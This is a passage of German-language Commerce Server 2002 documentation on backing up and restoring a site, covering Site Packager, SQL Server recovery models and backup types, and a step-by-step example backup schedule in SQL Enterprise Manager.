  13. Die Data Warehouse- und Profilverbindungszeichenfolgen werden im Dialogfeld Datenbank-Verbindungszeichenfolgen nicht mehr angezeigt. Dies beruht darauf, dass die Ressourcen vor dem Entpacken der Site bereits vorhanden waren und alle Verbindungszeichenfolgen bereits definiert sind.

Informationen zum Hinzufügen von zusätzlichen Sites zum selben Data Warehouse finden Sie unter So fügen Sie dem Data Warehouse eine zusätzliche Site hinzu.


Sicherung der Site

Nachdem Sie die Site bereitgestellt und konfiguriert haben, sollten Sie Sicherungsdateien aller in der Site befindlichen Dateien erstellen, sodass Sie sie im Fall von Serverausfällen wiederherstellen können. Kleinere Sites können Sie am einfachsten sichern, indem Sie sie mithilfe von Commerce Server Site Packager neu packen. Beim erneuten Packen werden viele der für die aktuelle Site spezifischen Konfigurationseinstellungen gespeichert. Computerspezifische Eigenschaften werden beim Packen von Site Packager nicht berücksichtigt. Webservereigenschaften und einige über Commerce Server Manager eingestellte Eigenschaften werden z. B. nicht gepackt. Eine Übersicht, welche Daten einer Ressource jeweils gepackt werden, finden Sie unter Wo Ressourcen und Daten entpackt werden.

Die nachstehenden Komponenten sind beim Packen der Site nicht in einer Paketdatei enthalten und müssen daher auf andere Weise gesichert werden:

  • Data Warehouse-Ressource
  • Direct Mailer
  • Vorhersageressource
  • Vorhandene Datenbanken in der Profilressource

Beachten Sie, dass Sie die Site nach jeder Änderung an der Konfiguration erneut packen müssen. Informationen zum Packen von Sites finden Sie unter Packen einer Site.

Zusätzlich zum Packen der Site wird empfohlen, in regelmäßigen Abständen mithilfe der Systemsicherungssoftware vollständige Sicherungskopien der auf den Festplatten Ihrer Server befindlichen Daten zu erstellen.

Bei umfangreicheren Sites ist das Erstellen einer Paketdatei unpraktisch. In diesem Fall verwenden Sie zum Sichern der einzelnen Komponenten (beispielsweise Anwendungen und Datenbanken) die jeweils geeigneten Verfahren.

Es empfiehlt sich, Ihre Commerce Server-Konfiguration nach jeder Änderung zu sichern. Dadurch können Sie leicht ihren vorherigen Zustand wiederherstellen, falls es einmal zu Hardware- oder Softwareausfällen kommen sollte. In der nachstehenden Liste finden Sie Beschreibungen der Sicherungstools für die einzelnen Komponententypen von Commerce Server.

So sichern Sie Ihre Commerce Server-Installation

  1. Sichern Sie Ihre SQL Server-Datenbanken mithilfe von SQL Enterprise Manager.
  2. Sichern Sie die Internetinformationsdienste (IIS) 5.0-Metabasis mithilfe des Microsoft Windows 2000-Sicherungs-Assistenten.
  3. Sichern Sie die Registrierung mithilfe des Sicherungs-Assistenten von Windows 2000.
  4. Sichern Sie die Commerce Server-Dateien mithilfe des Sicherungs-Assistenten von Windows 2000.
  5. Packen Sie Ihre Commerce Server-Site mithilfe von Commerce Server Site Packager.

So stellen Sie Ihre Commerce Server-Installation wieder her

  1. Stellen Sie Ihre IIS-Metabasis mithilfe des Sicherungs-Assistenten von Windows 2000 wieder her.
  2. Stellen Sie Ihre Registrierung mithilfe des Windows 2000-Wiederherstellungs-Assistenten wieder her.
  3. Stellen Sie die Commerce Server-Dateien mithilfe des Sicherungs-Assistenten von Windows 2000 wieder her.
  4. Entpacken Sie Ihre Commerce Server-Site und/oder -Ressourcen mithilfe von Commerce Server Site Packager.

Dieser Abschnitt beinhaltet folgende Themen:

  • Empfehlungen zur Sicherung von Commerce Server. Stellt Empfehlungen zur Sicherung von Commerce Server 2002-Datenbanken bereit.
  • Entwerfen einer Sicherungsstrategie. Beschreibt Wiederherstellungsmodelle für SQL Server-Datenbanken, Sicherungsoptionen, Empfehlungen zum Entwerfen von Sicherungsstrategien und erläutert die Vorgehensweise zum Implementieren von Beispielsicherungsstrategien.
  • Wiederherstellen von Commerce Server-Datenbanken. Beschreibt Wiederherstellungsoptionen für SQL Server-Datenbanken sowie Empfehlungen zum Wiederherstellen von Commerce Server 2002-Datenbanken.

Siehe auch

Verwenden von Site Packager


Empfehlungen zur Sicherung von CommerceServer

Feedback zu dieser Seite senden Commerce Server 2002

Empfehlungen zur Sicherung von Commerce Server

Dieses Thema enthält eine Liste der empfohlenen Vorgehensweisen zur Sicherung von Commerce Server.

  • Steuern Sie die Größe der Transaktionsprotokolldatei durch regelmäßige Sicherungen.

    SQL Server schneidet die Transaktionsprotokolldatei nach jeder Sicherung automatisch ab. Je öfter Sie die Datei sichern, desto geringer bleibt also deren Umfang.

  • Planen Sie regelmäßige Sicherungen der Transaktionsprotokolldatei ein, die Sie stets vor anderen Sicherungsverfahren durchführen sollten.

    Von der Häufigkeit der Sicherungen der Transaktionsprotokolldatei hängt ab, wie genau sich Ihr System nach Ausfällen wiederherstellen lässt. Sie können für Ihre Datenbank den Zustand zum Zeitpunkt der letzten Sicherung der Transaktionsprotokolldatei vor dem Ausfall wiederherstellen. Indem Sie die Transaktionsprotokolldatei vor der Ausführung weiterer Sicherungsvorgänge sichern, können Sie gewährleisten, dass sich die Datenbank auch bei einem Fehlschlag der Sicherung wiederherstellen lässt.

  • Bereits bei der Planung Ihrer Sicherungsstrategie können Sie festlegen, wie exakt die Wiederherstellung erfolgen soll.

    SQL Server stellt verschiedene Sicherungstools bereit, mit denen Sie Sicherungen unterschiedlicher Granularität erstellen können. Je nach der Häufigkeit der Änderungen in Ihrer Datenbank und den Erfordernissen Ihres Unternehmens im Hinblick auf die sofortige Wiederherstellung der Datenbank nach Ausfällen können Sie zwischen einfachen und komplexen Sicherungsstrategien wählen.

  • Die tempdb-Datenbank darf nicht gesichert werden.

    Die tempdb-Datenbank enthält keine für den Betrieb Ihrer Datenbank erforderlichen Daten. Sichern Sie Commerce Server-Datenbanken auf einem von den Speicherorten der Daten und Transaktionsprotokolldateien physisch getrennten Datenträger.

    Vorteile der Sicherung von Commerce Server-Datenbanken auf einem separaten physischen Datenträger:

    • Leistungssteigerungen für die zu sichernden Datenbanken.
    • Leistungssteigerungen beim Sicherungsvorgang, da keine weitere Anwendung auf den Zieldatenträger schreibt.
    • Schutz Ihrer Sicherung bei Datenträgerausfällen.
  • Erstellen Sie beim Wiederherstellen von Datenbanken jegliche diesen zugeordneten Volltextindizes neu.
Beim Sichern von Datenbanken werden die Volltext-Indexdaten in Volltextkatalogen nicht gesichert. Im Fall von für Tabellen definierten Volltextindizes werden die Metadaten bei der Erstellung von Sicherungskopien der Datenbank ebenfalls gesichert. Nach der Wiederherstellung von Datenbanksicherungskopien können die Volltextindexkataloge neu erstellt und mit Daten gefüllt werden. Weitere Informationen zu SQL Server finden Sie unter Volltextindizes in der SQL Server-Onlinedokumentation.
  • Mit der gespeicherten Prozedur "sp_spaceused" können Sie den Umfang der Sicherungskopie ermitteln und den benötigten Speicherplatz entsprechend verwalten.
Wenn vor Abschluss des Sicherungsvorgangs für das Sicherungstool nicht ausreichend Speicherplatz verfügbar ist, schlägt die Sicherung fehl. Die gespeicherte Prozedur sp_spaceused zeigt entweder die Anzahl von Zeilen, den reservierten und den belegten Speicherplatz für Tabellen in der aktuellen Datenbank oder den reservierten und belegten Speicherplatz für die gesamte Datenbank an.

Weitere Informationen zur Verwendung der gespeicherten Prozedur sp_spaceused, finden Sie unter Gespeicherte Systemprozeduren in der SQL Server-Onlinedokumentation.

  • Verteilen Sie vollständige Sicherungen auf mehrere und auf separaten physischen Datenträgern befindliche Sicherungsmedien, um die Dauer des Sicherungsvorgangs einzugrenzen.

    Durch die Verteilung der Sicherungen auf mehrere Sicherungsmedien können Sie den Sicherungsprozess beschleunigen und die Ressourcen der einzelnen Medien schonen.

  • Die Häufigkeit der Sicherungen richtet sich nach Ihren Erfordernissen im Hinblick auf die Minimierung von Datenverlusten. Wählen Sie den Zeitpunkt für die Sicherungen so, dass möglichst keine Rückwirkungen auf Ihre Produktionsprozesse entstehen.

Während der Sicherungsvorgänge können Benutzer keine Daten in die Produktionsdatenbanken schreiben. Planen Sie Sicherungen zu Zeiten mit geringer Systemauslastung, wie beispielsweise am späten Abend. Die Häufigkeit der Datenbanksicherungen ergibt sich aus der Analyse von Auslastungs- und Zuwachsraten. Wenn die Geschäftsleitung beispielsweise festlegt, dass bei Ausfällen des Datenbankservers maximal die in den vorhergehenden 120 Minuten eingegebenen Daten verloren gehen dürfen, müssen Sie die Transaktionsprotokolldatei in Intervallen von 120 Minuten sichern. Eine der Sicherungen könnte beispielsweise zur Mittagszeit vorgenommen werden. Grundsätzlich wird empfohlen, für Sicherungen Zeiten geringer Systemauslastung zu nutzen und so die sich ergebenden Einschränkungen für Benutzer möglichst gering zu halten.


Entwerfen einer Sicherungsstrategie

Beim Entwerfen Ihrer Sicherungsstrategie sollten Sie berücksichtigen, mit welcher Geschwindigkeit und in welchem Umfang Ihrer Datenbank Daten hinzugefügt werden. So ergeben sich beispielsweise für nur gelegentlich veränderte Datenbanken andere Strategien als für Datenbanken, denen permanent größere Datenmengen hinzugefügt werden. Betrachten Sie die einzelnen Datenbanken jeweils als separate Komponente, da Commerce Server die Datenbanken unterschiedlich nutzt. Beispiel: Ihre Transaktionsdatenbank ändert sich mehrere Hundert Mal am Tag, während die Commerce Server-Verwaltungsdatenbank nur einmal monatlich verändert wird. In diesem Beispiel sichern Sie die Transaktionsdatenbank wesentlich häufiger als die Verwaltungsdatenbank.

Zusätzlich zur Änderungshäufigkeit müssen Sie Ihre Erfordernisse im Hinblick auf die Verfügbarkeit der Datenbanken berücksichtigen. Obwohl die Sicherung der Datenbanken eine wichtige Rolle spielt, kann deren Verfügbarkeit zu bestimmten Zeiten von ebenso großer Bedeutung sein. Beim Sichern von Produktionsdatenbanken können Sie die Auswirkungen auf die Verfügbarkeit Ihrer Site weitestmöglich beschränken.

Sie können Verzeichnisdaten und Konfigurationsdateien auf traditionellen Datenträgern wie Magnetbändern oder auf separaten lokalen bzw. Netzwerklaufwerken sichern. Verzeichnisse werden häufig aus Gründen der Lastverteilung, der besseren Verfügbarkeit und des lokalen Zugriffs in verteilten Umgebungen repliziert.

Es wird empfohlen, SQL Server-Datenbanken auf Laufwerken zu sichern, die von den zum Speichern der Datenbanken verwendeten physisch getrennt sind. Sie können mit RAID-Arrays ein einzelnes logisches Laufwerk für Ihre Sicherung erstellen oder die Sicherung auf mehrere Stripe Sets aufteilen. Das Sichern und Wiederherstellen anhand von Magnetbändern ist zeitaufwändig. Die Daten sind dabei nur so aktuell wie zum Zeitpunkt der letzten Sicherung. In den meisten Fällen empfiehlt es sich daher, Verzeichnisse anhand von Peer-Replikationen neu zu erstellen, da die darin enthaltenen Daten bereits online und stets aktuell sind.

Dieser Abschnitt beinhaltet folgende Themen:

  • Wiederherstellungsmodelle
  • Sicherungstypen
  • Von Wiederherstellungsmodellen unterstützte Sicherungstypen
  • Minimieren der Sicherungs- und Wiederherstellungszeiten in unternehmenskritischen Umgebungen
  • Sicherungseinschränkungen
  • Implementieren einer Beispielsicherungsstrategie
  • Überprüfen von Sicherungen


Wiederherstellungsmodelle

Verwenden Sie zur Ausführung Ihrer Datenbanksicherungen und -wiederherstellungen die Sicherungs- und Wiederherstellungsfunktion von SQL Server. SQL Server unterstützt drei Wiederherstellungsmodelle: einfach, vollständig und massenprotokolliert. Ferner stehen drei Sicherungstypen zur Verfügung: vollständige Datenbank, differenziell, Transaktionsprotokoll und Datenbankdatei oder -dateigruppe. SQL Server speichert für jede Tabelle den Typ und die Dauer der vorgenommenen Sicherungen. Wenn Sie Ihre Sicherungsstrategie entwerfen, können Sie den Zeitplan unter Verwendung aller vier Sicherungstypen erstellen und so sicherstellen, dass bei Ausfällen alle benötigten Daten wiederhergestellt werden können.

In der nachstehenden Tabelle finden Sie eine Übersicht über die Vorteile und Auswirkungen der drei Wiederherstellungsmodelle.

Wiederherstellungsmodell | Vorteile | Maximaler Datenverlust | Wiederhergestellter Zustand
Einfach | Ermöglicht das Kopieren von umfangreichen Datenmengen. Greift auf den Speicherplatz für die Protokolldatei zurück, um den Speicherplatzbedarf gering zu halten. | Die seit der letzten Sicherung vorgenommenen Änderungen gehen verloren. | Stellt den Zustand zum Ende einer beliebigen Sicherung wieder her. Die seitdem vorgenommenen Änderungen gehen verloren.
Vollständig | Keine Datenverluste bei beschädigten oder gelöschten Dateien. Ermöglicht die Wiederherstellung des Zustands zu einem beliebigen Zeitpunkt (beispielsweise vor Anwendungs- oder Benutzerfehlern). | In der Regel gehen keine Daten verloren. Wenn die Protokolldatei beschädigt ist, gehen die seit der letzten Sicherung der Protokolldatei vorgenommenen Änderungen verloren. | Ermöglicht die Wiederherstellung des Zustands zu einem beliebigen Zeitpunkt.
Massenprotokolliert | Ermöglicht das Kopieren von umfangreichen Datenmengen. Bei Massenoperationen ist für die Protokolldatei nur wenig Speicherplatz erforderlich. | Wenn die Protokolldatei beschädigt ist oder seit der letzten Sicherung der Protokolldatei Massenoperationen ausgeführt wurden, gehen die seit der letzten Sicherung vorgenommenen Änderungen verloren. Ansonsten gehen keine Daten verloren. | Stellt den Zustand zum Ende einer beliebigen Sicherung wieder her. Die seitdem vorgenommenen Änderungen gehen verloren.


Sicherungstypen

In SQL Server stehen vier Sicherungstypen zur Verfügung:

  • Vollständige Datenbanksicherung. Wenn es sich bei der Datenbank um eine vornehmlich schreibgeschützte Datenbank handelt, können vollständige Datenbanksicherungen Datenverlusten in ausreichendem Maße vorbeugen. Vollständige Datenbanksicherungen dienen Ihnen im Fall von Systemausfällen als Ausgangspunkt für die Wiederherstellung. Beim Ausführen von vollständigen Datenbanksicherungen führt SQL Server folgende Operationen aus:
    • Sichern aller während des Sicherungsvorgangs erfolgenden Aktivitäten.
    • Sichern aller Transaktionen in der Transaktionsprotokolldatei, für die kein Commit ausgeführt wurde. SQL Server stellt bei der Wiederherstellung der Sicherung die Konsistenz der Daten anhand der in der Sicherungsdatei gespeicherten Teile der Transaktionsprotokolldatei sicher.
  • Differenzielle Sicherung. Führen Sie differenzielle Sicherungen aus, um die Dauer der Wiederherstellung von häufig veränderten Datenbanken zu minimieren. Führen Sie differenzielle Datensicherungen nur aus, wenn Sie zuvor eine vollständige Datenbanksicherung vorgenommen haben. Bei differenziellen Sicherungen führt SQL Server folgende Operationen aus:
    • Sichern der Teile der Datenbank, die seit der letzten vollständigen Datenbanksicherung geändert wurden. SQL Server gleicht die Protokolldatei-Folgenummer (Log File Sequence Number; LSN) von Seiten mit der Synchronisations-LSN der letzten vollständigen Datenbanksicherung ab. Beim Ausführen von differenziellen Sicherungen sichert SQL Server Blöcke anstelle von einzelnen Seiten. Blöcke werden gesichert, wenn die LSN einer beliebigen darin enthaltenen Seite höher als die LSN der letzten vollständigen Datenbanksicherung ist.
    • Sichern aller im Verlauf der differenziellen Sicherung erfolgten Aktivitäten sowie von allen Transaktionen in der Transaktionsprotokolldatei, für die kein Commit ausgeführt wurde.
  • Transaktionsprotokolldateisicherung. Indem Sie die Transaktionsprotokolldateien sichern, können Sie sämtliche an der Datenbank vorgenommenen Änderungen erfassen. Verwenden Sie Sicherungen der Transaktionsprotokolldatei gemeinsam mit vollständigen und optionalen differenziellen Sicherungen, um die Datenkonfiguration zum Zeitpunkt der Sicherung der Transaktionsprotokolldatei wiederherzustellen. Transaktionsprotokolldateien werden bei der Ausführung von vollständigen Sicherungen für Datenbankdateien automatisch gesichert. Bevor Sie die Transaktionsprotokolldatei sichern können, müssen Sie mindestens eine vollständige Datenbanksicherung vorgenommen haben. Vollständige Datenbanksicherungen sind zur Wiederherstellung von Sicherungen von Transaktionsprotokolldateien erforderlich. Zur Wiederherstellung der Sicherung einer Transaktionsprotokolldatei wird die entsprechende Datenbanksicherung benötigt. Mit dem Modell für die einfache Wiederherstellung ist das Sichern von Transaktionsprotokolldateien nicht möglich. Informationen zum Modell für die einfache Wiederherstellung finden Sie in der SQL Server-Onlinedokumentation. Bei Sicherungen von Transaktionsprotokolldateien geht SQL Server folgendermaßen vor:
    • Sichern der Transaktionsprotokolldatei anhand der letzten erfolgreich ausgeführten BACKUP LOG-Anweisung am Ende der aktuellen Transaktionsprotokolldatei.
    • Entfernen zuvor gesicherter Einträge aus der Transaktionsprotokolldatei und Sichern des aktiven Teils. Der aktive Teil der Transaktionsprotokolldatei beginnt bei der ältesten offenen Transaktion und erstreckt sich bis zum Ende der Transaktionsprotokolldatei.
  • Datenbankdatei- bzw. -dateigruppensicherungen. Zusätzlich zu vollständigen und differenziellen Sicherungen können Sie einzelne Datenbankdateien und -dateigruppen sichern. Wenn Sie einzelne Datenbankdateien oder -dateigruppen sichern, müssen Sie die Transaktionsprotokolldatei sichern, um die Konsistenz der wiederhergestellten Dateien mit den restlichen Dateien in der Datenbank sicherzustellen. Mit dieser Option können Sie bis zu 16 Dateien oder Dateigruppen festlegen. Beim Sichern von einzelnen Dateien oder Dateigruppen führt SQL Server folgende Operationen aus:
    • Sichern der Datenbankdateien, die Sie in der Option FILE bzw. FILEGROUP festgelegt haben. Informationen zu den Optionen FILE und FILEGROUP finden Sie in der SQL Server-Onlinedokumentation.
    • SQL Server ermöglicht, anstelle der gesamten Datenbank lediglich spezifische Datenbankdateien zu sichern.
Informationen zum Sichern von Datenbankdateien oder -dateigruppen finden Sie in der SQL Server-Onlinedokumentation.

Wichtig

  • Bei Datenbankausfällen können Sie die Transaktionsprotokolldatei mit der Option NO_TRUNCATE sichern. Mit dieser Option speichern Sie alle kürzlich erfolgten Datenbankaktivitäten. Wenn Sie die Option NO_TRUNCATE verwenden, speichert SQL Server die gesamte Transaktionsprotokolldatei (alle Ereignisse seit der letzten BACKUP LOG-Anweisung) auch dann, wenn der Zugriff auf die Datenbank nicht möglich ist. Abgeschlossene Transaktionen werden aus der Transaktionsprotokolldatei nicht gelöscht, sodass Sie die Datenkonfiguration zum Zeitpunkt des Systemausfalls wiederherstellen können. Weitere Informationen zur Option NO_TRUNCATE finden Sie in der SQL Server-Onlinedokumentation.


Von Wiederherstellungsmodellen unterstützte Sicherungstypen

In der nachstehenden Tabelle finden Sie die für das jeweilige Wiederherstellungsmodell verfügbaren Sicherungstypen.

Wiederherstellungsmodell | Vollständige Datenbanksicherung | Differenzielle Sicherung | Sicherung der Transaktionsprotokolldatei | Datei-/Dateigruppensicherung
Einfach | Erforderlich | Optional | Nicht zulässig | Nicht zulässig
Vollständig | Erforderlich | Optional | Erforderlich | Optional
Massenprotokolliert | Erforderlich | Optional | Erforderlich | Optional

Wenn Sie eine Datenbanksicherung erstellen, werden durch den Sicherungsvorgang nur Daten der Datenbank in die Sicherungsdatei kopiert; in der Datenbank nicht verwendeter Speicherplatz wird nicht kopiert. Da die Datenbanksicherung nur die tatsächlichen Daten der Datenbank – d. h. keinen leeren Speicherplatz – enthält, ist die Datenbanksicherung möglicherweise kleiner als die Datenbank selbst. Die Größe der Datenbanksicherung kann mithilfe der im System gespeicherten Prozedur sp_spaceused geschätzt werden; der reservierte Wert gibt die geschätzte Größe an.

Microsoft SQL Server schneidet die Transaktionsprotokolle während der Sicherung dieser Datei ab. Daher empfiehlt sich, bei der Erstellung von Datenbanksicherungen die Transaktionsprotokolldatei an jedem Prüfpunkt in der Datenbank zu sichern. Dies verhindert, dass das Transaktionsprotokoll voll wird. Andernfalls müsste das Transaktionsprotokoll manuell abgeschnitten werden, was zu Datenverlusten führen könnte.

Wenn Sie nur Datenbanksicherungen erstellen, sollte das Sicherungsintervall lang genug sein, sodass der Rechenaufwand der Sicherung andere Vorgänge nicht beeinträchtigt. Das Sicherungsintervall sollte aber auch kurz genug sein, um einen signifikanten Datenverlust zu verhindern. Datenbanken, die keine kritischen Daten enthalten und leicht verändert sind, können jede Woche bzw. alle zwei Wochen gesichert werden. Daten, die kritischer bzw. flüchtiger sind, sollten täglich oder noch häufiger gesichert werden. Einige in der Regel schreibgeschützte Datenbanken müssen nur nach einer regelmäßigen Aktualisierung mit neuen Daten gesichert werden.

Es ist auch ratsam, mehr als eine Sicherung der Datenbank zu erstellen. Es empfiehlt sich, eine rotierende Serie von Sicherungsmedien einzusetzen, sodass Sie zur Wiederherstellung über zwei oder mehr Versionen der Datenbank verfügen. Dies ermöglicht Ihnen, mit Situationen umzugehen, in denen ein Benutzer einige inkorrekte Änderungen macht, die für eine Weile unentdeckt bleiben. Außerdem können Sie auf eine frühere Sicherung zugreifen, wenn Sicherungsmedien beschädigt sein sollten.


Minimieren der Sicherungs- und Wiederherstellungszeiten in unternehmenskritischen Umgebungen

Unternehmenskritische Umgebungen machen es oft erforderlich, dass die Datenbank jederzeit bzw. über längere Zeiträume bei minimalen Ausfallzeiten zur Verfügung steht. Daher sollte die Dauer unerwarteter Vorfälle, z. B. von Hardware-Fehlern, die das Wiederherstellen der Datenbank erforderlich machen, so kurz wie möglich sein. Unternehmenskritische Datenbanken sind darüber hinaus oftmals groß und benötigen bei Sicherungs- und Wiederherstellungsvorgängen mehr Zeit. Microsoft SQL Server bietet einige Methoden, um Sicherungs- und Wiederherstellungsvorgänge zu beschleunigen. Dadurch wird die Beeinträchtigung der Benutzer während der beiden Vorgänge verringert.

Sie können die Dauer von Sicherungsvorgängen folgendermaßen minimieren:

  • Wenn mehrere Sicherungsmedien gleichzeitig verwendet werden, ist das gleichzeitige Speichern der Sicherungskopien auf allen Medien möglich. Auf gleiche Art und Weise ist auch die Wiederherstellung der Sicherungskopie aus mehreren Medien möglich.
  • Die Verwendung einer Kombination aus Datenbank-, differenziellen Datenbank- und Transaktionsprotokolldateisicherungen, um die Anzahl der Sicherungskopien zu verringern, die zum Wiederherstellen des Status zum Zeitpunkt des Ausfalls erforderlich sind.
  • Die Verwendung von Datei- und Dateigruppensicherungen sowie von Transaktionsprotokollsicherungen, wodurch gewährleistet ist, dass nicht die gesamte Datenbank, sondern nur solche Dateien gesichert bzw. wiederhergestellt werden, die die relevanten Daten enthalten.


Sicherungseinschränkungen

Mithilfe von SQL Server können Sicherungsvorgänge vorgenommen werden, während die Datenbank online ist oder verwendet wird. Allerdings sind folgende Vorgänge während des Sicherungsvorgangs nicht erlaubt:

  • Erstellen oder Löschen von Datenbankdateien
  • Erstellen von Indexen
  • Durchführen von nicht protokollierten Vorgängen
  • Verkleinern der Datenbank (automatisch oder manuell) oder der Datenbankdateien

Wenn der Sicherungsvorgang gestartet wird, während einer der beiden Vorgänge durchgeführt wird, wird der Sicherungsvorgang beendet. Wenn der Sicherungsvorgang durchgeführt wird, schlägt der Versuch fehl, eine der beiden Operation zu starten. Der Sicherungsvorgang wird fortgesetzt.


Implementieren einer Beispielsicherungsstrategie

Im folgenden Beispiel umfasst die Strategie für die Commerce Server-Datenbank Sitename_commerce eine zweimal wöchentlich ausgeführte vollständige Sicherung, zweimal täglich ausgeführte differenzielle Sicherungen sowie eine alle 30 Minuten erfolgende Sicherung der Transaktionsprotokolldatei. Die Sicherung wird auf einem separaten physischen Laufwerk abgelegt. Die Sicherungen erfolgen automatisch nach einem zuvor festgelegten Zeitplan.

So implementieren Sie eine Beispielsicherungsstrategie

  1. Geben Sie die zu sichernde Datenbank an.
  2. Geben Sie das Sicherungsmedium an.
  3. Ermitteln Sie die Häufigkeit und den Typ der durchzuführenden Sicherungen.
  4. Erstellen Sie einen Zeitplan für die Sicherungen.

So implementieren Sie den Sicherungszeitplan

Schritt 1: Durchführen einer vollständigen Sicherung der Commerce Server-Datenbank.

Schritt 2: Planen einer vollständigen Sicherung an jedem Dienstag und Freitag um 02:00

Schritt 3: Planen von Transaktionsprotokolldateisicherungen in Intervallen von 30 Minuten.

Schritt 4: Planen von täglichen differenziellen Sicherungen zu Mittag und um Mitternacht.


Schritt 1: Durchführen einer vollständigen Sicherung der Commerce Server-Datenbank

So erstellen Sie eine vollständige Sicherungskopie der Commerce Server-Datenbank Sitename_commerce

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die zu sichernde Datenbank, zeigen Sie auf Alle Aufgaben und klicken Sie anschließend auf Datenbank sichern.
  3. Führen Sie im Dialogfeld SQL Server-Sicherung folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Vollständig-aktuelles Datum: mmttjj für den Namen des Sicherungssatzes ein.
    Beschreibung | Geben Sie als Beschreibung für den Sicherungssatz den Text Vollständige Sicherung der Commerce-Datenbank ein.
    Sicherung | Wählen Sie Datenbank - vollständig.
  4. Klicken Sie im Bereich Ziel auf Hinzufügen, um ein Sicherungsmedium hinzuzufügen.
  5. Wählen Sie im Dialogfeld Sicherungsziel auswählen den Eintrag Dateiname, und klicken Sie anschließend auf das Auslassungszeichen , um die Sicherungszieldatei zu wählen.
  6. Geben Sie im Dialogfeld Pfad für Sicherungsmedium im Feld Dateiname die Zeichenfolge CommVoll ein, und klicken Sie anschließend auf OK.
  7. Klicken Sie auf OK, um das Dialogfeld Sicherungsziel auswählen zu schließen.
  8. Führen Sie im Dialogfeld SQL Server-Sicherung im Bereich Überschreiben folgende Schritte aus:
    Funktion | Aktion
    An Medien anfügen | Anfügen der Sicherung an jede existierende Sicherungskopie auf dem Sicherungsmedium.
    Vorhandene Medien überschreiben | Überschreiben aller vorhandenen Sicherungskopien auf dem Sicherungsmedium.
    Zeitplan | Optional Auswählen, um den Sicherungsvorgang zur späteren oder regelmäßigen Ausführung zu planen.
  9. Klicken Sie optional auf die Registerkarte Optionen, und wählen Sie aus den folgenden Sicherungsoptionen aus:
    • Sicherung bei Abschluss überprüfen. Löst die Überprüfung der abgeschlossenen Sicherung aus.
    • Nach der Sicherung Band auswerfen. Löst das Auswerfen des Bandes aus, sobald der Sicherungsvorgang abgeschlossen ist. Nur mit Bandmedien verfügbar.
    • Mediensatzname und Sicherungssatz-Ablaufdatum überprüfen. Löst die Überprüfung der Sicherungsmedien aus, um vor versehentlichem Überschreiben zu schützen. Geben Sie im Feld Mediensatzname den Namen der Medien ein, die für den Sicherungsvorgang verwendet werden sollten. Lassen Sie dieses Feld leer, wenn nur das Sicherungssatz-Ablaufdatum bestimmt wird.
  10. Wenn Sie die Sicherungsmedien erstmalig verwenden bzw. eine vorhandene Medienbezeichnung ändern möchten, wählen Sie unter Mediensatzbezeichnungen die Option Medien initialisieren und bezeichnen, und geben Sie den Mediensatznamen und die Mediensatzbeschreibung ein. (Die Medien können nur beim Überschreiben der Medien initialisiert und bezeichnet werden.)


Schritt 2: Planen einer vollständigen Sicherung an jedem Dienstag und Freitag um 02:00

So erstellen Sie eine vollständige Sicherungskopie der Commerce Server-Datenbank Sitename_commerce

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die zu sichernde Datenbank, zeigen Sie auf Alle Aufgaben und klicken Sie anschließend auf Datenbank sichern.
  3. Führen Sie im Dialogfeld SQL Server-Sicherung folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Vollständig-aktuelles Datum: mmttjj für den Namen des Sicherungssatzes ein.
    Beschreibung | Geben Sie als Beschreibung für den Sicherungssatz den Text Vollständige Sicherung der Commerce-Datenbank ein.
    Sicherung | Wählen Sie Datenbank - vollständig.
  4. Klicken Sie im Bereich Ziel auf Hinzufügen, um ein Sicherungsmedium hinzuzufügen.
  5. Wählen Sie im Dialogfeld Sicherungsziel auswählen den Eintrag Dateiname, und klicken Sie anschließend auf das Auslassungszeichen , um die Sicherungszieldatei zu wählen.
  6. Geben Sie im Dialogfeld Pfad für Sicherungsmedium im Feld Dateiname die Zeichenfolge CommVoll ein, und klicken Sie anschließend auf OK.
  7. Klicken Sie auf OK, um das Dialogfeld Sicherungsziel auswählen zu schließen.
  8. Führen Sie im Dialogfeld SQL Server-Sicherung im Bereich Überschreiben folgende Schritte aus:
    Funktion | Aktion
    An Medien anfügen | Anfügen der Sicherung an jede existierende Sicherungskopie auf dem Sicherungsmedium.
    Vorhandene Medien überschreiben | Überschreiben aller vorhandenen Sicherungskopien auf dem Sicherungsmedium.
  9. Wählen Sie im Zeitplan die Option Zeitplan, und klicken Sie auf das Auslassungszeichen.
  10. Nehmen Sie im Dialogfeld Zeitplan bearbeiten die folgenden Einstellungen vor:
    Funktion | Aktion
    Name | Geben Sie CSVollZeitpl ein.
    Zeitplantyp | Wählen Sie Wiederholt, und klicken Sie anschließend auf Ändern.
  11. Nehmen Sie im Dialogfeld Zeitplan für wiederkehrende Aufträge bearbeiten die folgenden Einstellungen vor:
    Funktion | Aktion
    Häufigkeit | Wählen Sie Wöchentlich.
    Wöchentlich | Aktivieren Sie die Kontrollkästchen Di und Fr.
    Häufigkeit pro Tag | Wählen Sie Einmalig um:, und geben Sie 2:00:00 ein.
  12. Klicken Sie dreimal auf OK, um alle Dialogfelder zu schließen.


Schritt 3: Planen von Transaktionsprotokolldateisicherungen in Intervallen von 30 Minuten

So planen Sie eine Sicherung für die Commerce Server-Transaktionsprotokolldatei

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, und klicken Sie mit der rechten Maustaste auf die Datenbank, die Sie sichern möchten. Klicken Sie anschließend auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften von Datenbank auf der Registerkarte Optionen im Bereich Wiederherstellung aus der Dropdownliste Modell die Option Vollständig, und klicken Sie anschließend auf OK.
  4. Erweitern Sie im Konsolenbaum Verwaltung, klicken Sie mit der rechten Maustaste auf Sicherung, und klicken Sie anschließend auf Datenbank sichern.
  5. Führen Sie im Dialogfeld SQL Server-Sicherung folgende Schritte aus:
    Funktion | Aktion
    Datenbank | Wählen Sie aus der Dropdownliste die Option Commerce.
    Name | Geben Sie CommerceLog ein.
    Beschreibung | Geben Sie Commerce-Transaktionsprotokoll ein.
    Sicherungstyp | Wählen Sie Transaktionsprotokoll.
    Ziel | Klicken Sie auf Hinzufügen, um das Dialogfeld Sicherungsziel auswählen zu öffnen.
